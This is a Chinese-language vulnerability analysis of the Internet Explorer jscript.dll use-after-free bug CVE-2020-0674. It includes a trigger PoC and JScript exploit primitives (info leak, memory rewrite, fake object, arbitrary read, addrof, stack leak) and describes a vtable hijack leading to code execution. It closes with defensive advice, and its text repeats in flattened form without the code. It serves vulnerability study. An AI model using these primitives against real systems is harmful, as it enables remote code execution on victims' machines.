IE jscript.dll释放后重用漏洞(CVE-2020-0674)分析
字数 1476 2025-08-22 12:22:48

IE jscript.dll释放后重用漏洞(CVE-2020-0674)分析与利用技术详解

0x01 漏洞概述

CVE-2020-0674是2020年初发现的IE浏览器0day漏洞,位于jscript.dll模块中,属于UAF(释放后重用)类型漏洞。该漏洞允许攻击者在特定条件下实现远程代码执行。

0x02 漏洞环境

  • 操作系统:Windows 7 sp1 64位
  • 浏览器:IE 11 (jscript.dll 5.8.9600.17840 64位)
  • 调试环境:开启页堆(Page Heap)的调试环境

0x03 漏洞成因

漏洞核心成因:当Array.sort()被调用并传入一个比较函数时,jscript内部没有将此比较函数的两个参数加入GC(垃圾回收)机制,导致可以在对象被释放后得到悬垂指针(dangling pointer)。

0x04 漏洞PoC分析

<script language="JScript.Compact">
var depth = 0;
var spray_size = 10000;
var spray = new Array();
var sort = new Array();
var total = new Array();

for(i = 0; i < 110; i++) sort[i] = [0, 0];
for(i = 0; i < spray_size; i++) spray[i] = new Object();

function uaf(untracked_1, untracked_2) {
    untracked_1 = spray[depth * 2];
    untracked_2 = spray[depth * 2 + 1];
    
    if(depth > 50) {
        spray = new Array();
        CollectGarbage();
        total.push(untracked_1);
        total.push(untracked_2);
        return 0;
    }
    
    depth += 1;
    sort[depth].sort(uaf);
    return 0;
}

sort[depth].sort(uaf);

for(i = 0; i < total.length; i++) {
    typeof total[i];
}
</script>

0x05 关键数据结构

64位JScript VARIANT结构 (0x18字节)

+ 0x00 Type       // (WORD)
+ 0x08 Value      // (QWORD) 立即值或指针
+ 0x10 Unused     // (QWORD) 大多数类型未使用

64位JScript GcBlock结构 (0x970字节)

struct GcBlock {
    struct GcBlock *prev;
    struct GcBlock *next;
    VARIANT mem[100];  // 100个VARIANT
};

Property结构 (size = 0x40) Win7 64位

+ 0x00 var         // (sizeof(VARIANT)) 当前属性值
+ 0x18 ?           // (QWORD)
+ 0x20 hash        // (DWORD)
+ 0x24 name_length // (DWORD) 当前属性名长度
+ 0x28 next        // (QWORD) 下一个Property结构体地址
+ 0x30 ?           // (QWORD)
+ 0x38 ?           // (QWORD)
+ 0x40 name        // 属性名

64位BSTR结构

+ 0x00 Unused      // (DWORD)
+ 0x04 length      // (DWORD) 字节长度(不含null字符)
+ 0x08 string      // (length+2) 字符串字符(16位)后跟null字符

0x06 漏洞利用技术详解

1. 信息泄露阶段

步骤1:内存布局

  • 申请大量VARIANT对象(new Object())
  • 释放这些对象,产生0x970大小的空闲堆块
  • 这些堆块会被回收到低碎片堆中

步骤2:堆块重用

  • 通过为jscript对象添加成员变量来重用这些空闲堆块
  • 计算重用大小公式:alloc_size = (2x + 0x42) * 2 + 8 (x为Object的属性长度)
  • alloc_size=0x970时,对应x=569

步骤3:构造错位读取

  • 控制前x-1个属性名的名称和长度
  • 将第x-1个Property的hash构造为5
  • 设置第x个属性,使第x-1个Property的next指针指向第x个对象的Property
  • 通过错位读取实现信息泄露

2. 进一步信息泄露

步骤1:读取Property指针

for(i = 0; i < total.length; i++) {
    if(typeof total[i] === "number" && total[i] % 1 != 0) {
        leak_lower = (total[i] / 4.9406564584124654E-324);
        break;
    }
}

步骤2:读取Property值

  • 重新设计第一个属性的名称进行内存布局
  • 通过错位读取泄露的Property指针首部对应的VARIANT
  • 获取leak_offset

3. 内存重写函数

function rewrite(v, i){
    CollectGarbage();
    overlay_backup[leak_offset] = null;
    CollectGarbage();
    overlay_backup[leak_offset] = new Object();
    overlay_backup[leak_offset][variants] = 1;
    overlay_backup[leak_offset][padding] = 1;
    overlay_backup[leak_offset][leak] = 1;
    overlay_backup[leak_offset][v] = i;
}

4. 任意对象伪造

步骤1:构造fakeobj_var

function get_fakeobj() {
    rewrite(make_variant(3, 1234));
    reset();
    set_variants(0x80, leak_lower + 64);
    sort[depth].sort(initial_exploit);
    
    for(i = 0; i < total.length; i++) {
        if(typeof total[i] === "number") {
            if(total[i] + "" == 1234) {
                fakeobj_var = total[i];
                break;
            }
        }
    }
}

5. 任意地址读取

步骤1:read_pointer函数

function read_pointer(addr_lower, addr_higher, o) {
    rewrite(make_variant(8, addr_lower, addr_higher), o);
}

步骤2:read_byte函数

function read_byte(addr_lower, addr_higher, o) {
    read_pointer(addr_lower + 2, addr_higher, o);
    return (fakeobj_var.length >> 15) & 0xff;
}

6. 任意对象地址读取

function addrof(o) {
    var_addr = read_dword(leak_lower + 8, 0, o);
    return read_dword(var_addr + 8, 0, 1);
}

7. 远程代码执行

步骤1:泄露Native栈地址

function leak_stack_ptr() {
    leak_obj = new Object();
    obj_addr = addrof(leak_obj);
    csession_addr = read_dword(obj_addr + 24, 0, 1);
    stack_addr_lower = read_dword(csession_addr + 80, 0, 1);
    stack_addr_upper = read_dword(csession_addr + 84, 0, 1);
    return {'lower': stack_addr_lower, 'upper': stack_addr_upper};
}

步骤2:虚表劫持

  • 伪造jscript!NameTbl对象和虚表
  • 将虚表第28项(原为jscript!ObjEvtHandler::FPersist)改写为ntdll!NtContinue地址

步骤3:触发执行

  • 将第4个Property的name伪造为Type=0x81的对象
  • Value设为伪造的jscript!NameTbl对象
  • 虚表指针设为伪造的虚表
  • 对fakeobj_var调用typeof函数触发虚函数调用

0x07 防御建议

  1. 及时安装微软发布的补丁更新
  2. 禁用或限制JScript的使用
  3. 使用最新的浏览器版本
  4. 启用增强的防护机制(如EMET)
  5. 监控和限制可疑的脚本行为

0x08 参考资源

  1. CVE-2020-0674 Exploit代码
  2. 微软安全公告
  3. JScript垃圾回收机制内部原理
  4. 相关漏洞分析:CVE-2018-8353、CVE-2017-11906、CVE-2017-11907
IE jscript.dll释放后重用漏洞(CVE-2020-0674)分析与利用技术详解 0x01 漏洞概述 CVE-2020-0674是2020年初发现的IE浏览器0day漏洞,位于jscript.dll模块中,属于UAF(释放后重用)类型漏洞。该漏洞允许攻击者在特定条件下实现远程代码执行。 0x02 漏洞环境 操作系统:Windows 7 sp1 64位 浏览器:IE 11 (jscript.dll 5.8.9600.17840 64位) 调试环境:开启页堆(Page Heap)的调试环境 0x03 漏洞成因 漏洞核心成因:当 Array.sort() 被调用并传入一个比较函数时,jscript内部没有将此比较函数的两个参数加入GC(垃圾回收)机制,导致可以在对象被释放后得到悬垂指针(dangling pointer)。 0x04 漏洞PoC分析 0x05 关键数据结构 64位JScript VARIANT结构 (0x18字节) 64位JScript GcBlock结构 (0x970字节) Property结构 (size = 0x40) Win7 64位 64位BSTR结构 0x06 漏洞利用技术详解 1. 信息泄露阶段 步骤1:内存布局 申请大量VARIANT对象( new Object() ) 释放这些对象,产生0x970大小的空闲堆块 这些堆块会被回收到低碎片堆中 步骤2:堆块重用 通过为jscript对象添加成员变量来重用这些空闲堆块 计算重用大小公式: alloc_size = (2x + 0x42) * 2 + 8 (x为Object的属性长度) 当 alloc_size=0x970 时,对应 x=569 步骤3:构造错位读取 控制前x-1个属性名的名称和长度 将第x-1个Property的hash构造为5 设置第x个属性,使第x-1个Property的next指针指向第x个对象的Property 通过错位读取实现信息泄露 2. 进一步信息泄露 步骤1:读取Property指针 步骤2:读取Property值 重新设计第一个属性的名称进行内存布局 通过错位读取泄露的Property指针首部对应的VARIANT 获取 leak_offset 值 3. 内存重写函数 4. 任意对象伪造 步骤1:构造fakeobj_ var 5. 任意地址读取 步骤1:read_ pointer函数 步骤2:read_ byte函数 6. 任意对象地址读取 7. 远程代码执行 步骤1:泄露Native栈地址 步骤2:虚表劫持 伪造jscript !NameTbl对象和虚表 将虚表第28项(原为jscript!ObjEvtHandler::FPersist)改写为ntdll !NtContinue地址 步骤3:触发执行 将第4个Property的name伪造为Type=0x81的对象 Value设为伪造的jscript !NameTbl对象 虚表指针设为伪造的虚表 对fakeobj_ var调用typeof函数触发虚函数调用 0x07 防御建议 及时安装微软发布的补丁更新 禁用或限制JScript的使用 使用最新的浏览器版本 启用增强的防护机制(如EMET) 监控和限制可疑的脚本行为 0x08 参考资源 CVE-2020-0674 Exploit代码 微软安全公告 JScript垃圾回收机制内部原理 相关漏洞分析:CVE-2018-8353、CVE-2017-11906、CVE-2017-11907